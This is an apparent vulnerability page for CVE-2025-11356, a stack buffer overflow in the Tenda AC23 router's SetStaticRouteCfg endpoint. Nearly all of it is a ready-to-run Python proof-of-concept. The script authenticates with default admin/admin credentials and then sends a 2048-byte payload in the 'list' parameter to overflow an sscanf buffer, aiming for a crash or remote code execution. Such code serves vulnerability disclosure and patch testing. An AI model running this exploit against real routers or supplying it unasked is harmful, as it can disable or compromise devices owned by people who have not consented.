CVE-2025-11356：Tenda AC23 SetStaticRouteCfg缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11356 - Tenda AC23 SetStaticRouteCfg Buffer Overflow PoC # Exploits sscanf buffer overflow in /goform/SetStaticRouteCfg import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.0.1" USERNAME = "admin" PASSWORD = "admin" def exploit(): # Step 1: Authenticate to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET}/login/Auth", data=login_data, timeout=10) # Step 2: Craft malicious payload for SetStaticRouteCfg # The 'list' parameter is passed to sscanf without bounds checking overflow_payload = "A" * 2048 # Overflow the stack buffer payload = { "list": overflow_payload } # Step 3: Send the exploit request to trigger buffer overflow url = f"{TARGET}/goform/SetStaticRouteCfg" response = session.post(url, data=payload, timeout=10) print(f"[*] Target: {TARGET}") print(f"[*] Payload size: {len(overflow_payload)} bytes") print(f"[*] Response status: {response.status_code}") print("[+] Exploit sent. Check device for crash or RCE.") if __name__ == "__main__": exploit()